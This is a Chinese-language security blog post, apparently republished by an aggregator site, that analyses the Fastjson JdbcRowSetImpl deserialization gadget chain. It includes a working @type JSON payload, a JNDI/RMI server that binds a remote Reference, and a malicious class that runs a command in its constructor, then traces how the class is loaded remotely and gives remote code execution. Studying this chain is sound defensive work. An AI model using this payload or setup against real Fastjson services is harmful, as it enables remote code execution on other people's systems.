Fastjson利用鏈JdbcRowSetImpl分析

首先創建客戶端

package com.yq1ng.vul;import com.alibaba.fastjson.JSON;/*** FastJsonTest** @author yq1ng* @date 2021/12/29 19:45* @since 1.0.0*/
public class FastJsonTest {public static void main(String[] args) {String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";JSON.parse(ser);}
}

然后是jndi服務端

package com.yq1ng.vul;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;/*** RMIServer** @author yq1ng* @date 2021/12/29 19:46* @since 1.0.0*/
public class RMIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8080/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("Evil", referenceWrapper);System.out.println("Server is running...");}
}

接著是惡意類,注意這個惡意類不能帶有包名,也就是package

import java.io.IOException;/*** Evil** @author yq1ng* @date 2021/12/29 19:46* @since 1.0.0*/
public class Evil {public Evil(){try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}
}

然后編譯惡意類,并起一個python簡單服務,注意python3的啟動方式是python -m http.server 8080不再是python -m SimpleHTTPServer 8080

然后啟動jndi服務,啟動客戶端即可

漏洞分析

poc是 String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}"; ,從上面的反序列化流程可以知道會去調用指定類,然后調用setter,這里會調用setDataSourceName()setAutoCommit()

deserialze后繼續調試,斷點打到了rt.jar!/com/sun/rowset/JdbcRowSetImpl.class#setDataSourceName()

這里默認的dataSource是空的,所以會設置為我們傳入的惡意rmi。接著來到setAutoCommit()

這里conn為空,所以進行獲取,這里形參也解釋了為什么payload的autoCommittrue。跟進this.connect()

首先初始化上下文,然后開始找傳入的rmi類

繼續跟

首先看getRootURLContext(),全局查找的話會有四個類去調用

這里會根據不同協議去調用不同的getRootURLContext(),這里跟進rt.jar!/com/sun/jndi/url/rmi/rmiURLContext.class#getRootURLContext()

這里對傳入的rmi格式進行檢測,代碼很長截取部分,一言不合就會拋異常。接著返回

繼續跟

首先是一個判空,然后去注冊中心找Evil,接著在return跟進rt.jar!/com/sun/jndi/rmi/registry/RegistryContext.classdecodeObject()

這里將構造的Reference賦值給var3,然后跟進NamingManager.java#getObjectInstance()

到這里跟進getObjectFactoryFromReference()

先從本地嘗試加載Evil,如果不存在繼續往下看

本地不存在的話就會嘗試從codebase中加載class

什么是codebase?以下內容摘自:Java-RMI

codebase就是遠程裝載類的路徑。當對象發送者序列化對象時,會在序列化流中附加上codebase的信息。 這個信息告訴接收方到什么地方尋找該對象的執行代碼。
你要弄清楚哪個設置codebase,而哪個使用codebase。任何程序假如發送一個對方可能沒有的新類對象時就要設置codebase(例如jdk的類對象,就不用設置codebase)。
codebase實際上是一個url表,在該url下有接受方需要下載的類文件。假如你不設置codebase,那么你就不能把一個對象傳遞給本地沒有該對象類文件的程序。

跟進helper.loadClass()

這里通過URLClassLoader進行加載類。最后進行實例化,導致rce

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/81044.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/81044.shtml
英文地址,請注明出處:http://en.pswp.cn/web/81044.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

基于OAuth2-proxy和Keycloak為comfyui實現SSO

背景 comfyui無認證被漏掃后易被rce挖礦 攻擊過程 https://www.oschina.net/news/340226 https://github.com/comfyanonymous/ComfyUI/discussions/5165 阿里云漏洞庫關于comfyui的漏洞 https://avd.aliyun.com/search?qcomfyui&timestamp__1384n4%2BxBD0GitGQ0QD8ID%2F…

第R7周:糖尿病預測模型優化探索

文章目錄 1.數據預處理1.1 設置GPU1.2 數據導入1.3 數據檢查 2. 數據分析2.1 數據分布分析2.2 相關性分析 3. LSTM模型3.1 劃分數據集3.2 數據集構建3.3 定義模型 4. 訓練模型4.1 定義訓練函數4.2 定義測試函數4.3 訓練模型 5. 模型評估5.1 Loss與Accuracy圖 6. 總結 &#x1f…

一些好用的Chrome 擴展程序

以下是按主要功能分類的 Chrome 擴展程序列表,包括其版本號、中文功能簡述以及指向其主頁或 Chrome 網上應用店頁面的鏈接。 翻譯與語言 沉浸式翻譯 - 網頁翻譯插件 | PDF 翻譯 | 免費 版本: 1.16.12 描述: 【沉浸式翻譯】免費的(原文 / 譯文&#xff0…

貪心算法題目合集2

貪心算法題目合集2 一般排序排隊接水整數區間金銀島尋找平面上的極大點NOIP 2008 普及組 排座椅 推導排序規律NOIP 1998 提高組 拼數排序規則的正確性證明:全序關系證明拼數的貪心策略正確P2878 [USACO07JAN] Protecting the Flowers SP1842 [USACO05NOV] 奶牛玩雜技…

全方位詳解微服務架構中的Service Mesh(服務網格)

一、引言 隨著微服務架構的廣泛應用,微服務之間的通信管理、流量控制、安全保障等問題變得日益復雜。服務網格(Service Mesh)作為一種新興的技術,為解決這些問題提供了有效的方案。它將服務間通信的管理從微服務代碼中分離出來&a…

如何在VSCode中更換默認瀏覽器:完整指南

引言 作為前端開發者,我們經常需要在VSCode中快速預覽HTML文件。默認情況下,VSCode會使用系統默認瀏覽器打開文件,但有時我們可能需要切換到其他瀏覽器進行測試。本文將詳細介紹如何在VSCode中更換默認瀏覽器。 方法一:使用VSCo…

【普及+/提高】洛谷P2613 【模板】有理數取余——快讀+快速冪

題目來源 P2613 【模板】有理數取余 - 洛谷 題目描述 給出一個有理數 cba?,求 cmod19260817 的值。 這個值被定義為 bx≡a(mod19260817) 的解。 輸入格式 一共兩行。 第一行,一個整數 a。 第二行,一個整數 b。 輸出格式 一個整數&a…

從編程助手到AI工程師:Trae插件Builder模式實戰Excel合并工具開發

Trae插件下載鏈接:https://www.trae.com.cn/plugin 引言:AI編程工具的新紀元 在軟件開發領域,AI輔助編程正在經歷一場革命性的變革。Trae插件(原MarsCode編程助手)最新推出的Builder模式,標志著AI編程工具…

Python set集合方法詳解

""" set()函數是個無序的去重集合,可以用來過濾重復元素 Python 提供了 2 種創建 set 集合的方法,分別是使用 {} 創建和使用 set() 函數將列表、元組等類型數據轉換為集合 """# 空集合 s0 set() # 正確方式 →…

各類Agent技術的發展現狀和核心痛點

AI Agent主要分類 Agent(智能體)技術是指具有自主感知、決策與執行能力的軟件系統,能夠在環境中完成特定任務。目前常見的Agent類型主要包括: - 基于大模型的智能體:以GPT-4等大型語言模型為核心,如AutoGP…

單片機-STM32部分:18、WiFi模組

飛書文檔https://x509p6c8to.feishu.cn/wiki/WFmqwImDViDUezkF7ercZuNDnve 一、WiFi模組應用 當設備需要連接網絡,實現遠程控制,狀態監控時,就需要添加通信模組,常見的通信模組WiFi模組、2G模組、4G模組等: 我們的板卡…

探索Qwen2ForCausalLM 架構上進行微調

簡述 試驗參考了mini_qwen 的開源實現 GitHub - qiufengqijun/mini_qwen: 這是一個從頭訓練大語言模型的項目,包括預訓練、微調和直接偏好優化,模型擁有1B參數,支持中英文。這是一個從頭訓練大語言模型的項目,包括預訓練、微調和…

hysAnalyser特色的TS流編輯、剪輯和轉存MP4功能說明

摘要 hysAnalyser 是一款特色的 MPEG-TS 數據分析工具,融合了常規TS文件的剪輯,轉存功能,可用于平常的視頻開發和測試。 本文詳細闡述了對MPEG-TS 流的節目ID,名稱,PID,時間戳,流類型&#xff…

前端[插件化]設計思想_Vue、React、Webpack、Vite、Element Plus、Ant Design

前端插件化設計思想旨在提升應用的可擴展性、可維護性和模塊化程度。這種思想不僅體現在框架(如 Vue、React)中,也廣泛應用于構建工具(如 Webpack、Vite)以及 UI 庫(如 Element Plus、Ant Design&#xff0…

2025年高防IP與游戲盾深度對比:如何選擇最佳防護方案?

2025年,隨著DDoS攻擊規模的指數級增長和混合攻擊的常態化,高防IP與游戲盾成為企業網絡安全的核心選擇。然而,兩者在功能定位、技術實現及適用場景上存在顯著差異。本文結合最新行業實踐與技術趨勢,全面解析兩者的優劣,…

日志根因分析:Elastic Observability 的異常檢測與日志分類功能

作者:來自 Elastic Bahubali Shetti Elastic Observability 不僅提供日志聚合、指標分析、APM 和分布式追蹤,Elastic 的機器學習能力還能幫助分析問題的根因,讓你將時間專注于最重要的任務。 隨著越來越多的應用程序遷移到云端,收…

Linux火墻管理及優化

網絡環境配置 使用3個新的虛擬機【配置好軟件倉庫和網絡的】 F1 192.168.150.133 NAT F2 192.168.150.134 192.168.10.20 NAT HOST-ONLY 網絡適配僅主機 F3 192.168.10.30 HOST-ONLY 網絡適配僅主機 1 ~]# hostnamectl hostname double1.timinglee.org 【更…

java配置webSocket、前端使用uniapp連接

一、這個管理系統是基于若依框架&#xff0c;配置webSocKet的maven依賴 <!--websocket--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-websocket</artifactId></dependency> 二、配…

基于Yolov8+PyQT的老人摔倒識別系統源碼

概述 ??基于Yolov8PyQT的老人摔倒識別系統??&#xff0c;該系統通過深度學習算法實時檢測人體姿態&#xff0c;精準識別站立、摔倒中等3種狀態&#xff0c;為家庭或養老機構提供及時預警功能。 主要內容 ??完整可運行代碼?? 項目采用Yolov8目標檢測框架結合PyQT5開發…

Oracle 創建外部表

找別人要一下數據&#xff0c;但是他發來一個 xxx.csv 文件&#xff0c;怎么辦&#xff1f; 1、使用視圖化工具導入 使用導入工具導入&#xff0c;如 DBeaver&#xff0c;右擊要導入的表&#xff0c;選擇導入數據。 選擇對應的 csv 文件&#xff0c;下一步就行了&#xff08;如…